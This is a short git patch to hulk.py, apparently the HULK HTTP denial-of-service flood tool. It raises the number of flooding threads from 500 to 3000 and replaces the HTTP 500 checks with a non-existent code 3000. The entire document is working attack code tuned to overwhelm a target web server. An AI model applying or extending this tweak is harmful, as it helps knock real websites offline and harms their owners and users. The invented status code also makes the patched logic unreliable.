From 529fcd220e5d26ab93de681f3bbddcda8931be1c Mon Sep 17 00:00:00 2001 From: fero5673 <112708724+fero5673@users.noreply.github.com> Date: Sun, 4 Sep 2022 00:19:23 +0300 Subject: [PATCH] Update hulk.py --- hulk.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/hulk.py b/hulk.py index 69a35b6..2f44cd2 100644 --- a/hulk.py +++ b/hulk.py @@ -97,8 +97,8 @@ def httpcall(url): except urllib2.HTTPError, e: #print e.code set_flag(1) - print 'Response Code 500' - code=500 + print 'Response Code 3000' + code=3000 except urllib2.URLError, e: #print e.reason sys.exit() @@ -114,7 +114,7 @@ def run(self): try: while flag<2: code=httpcall(url) - if (code==500) & (safe==1): + if (code==3000) & (safe==1): set_flag(2) except Exception, ex: pass @@ -148,7 +148,7 @@ def run(self): url = url + "/" m = re.search('(https?\://)?([^/]*)/?.*', url) host = m.group(2) - for i in range(500): + for i in range(3000): t = HTTPThread() t.start() t = MonitorThread()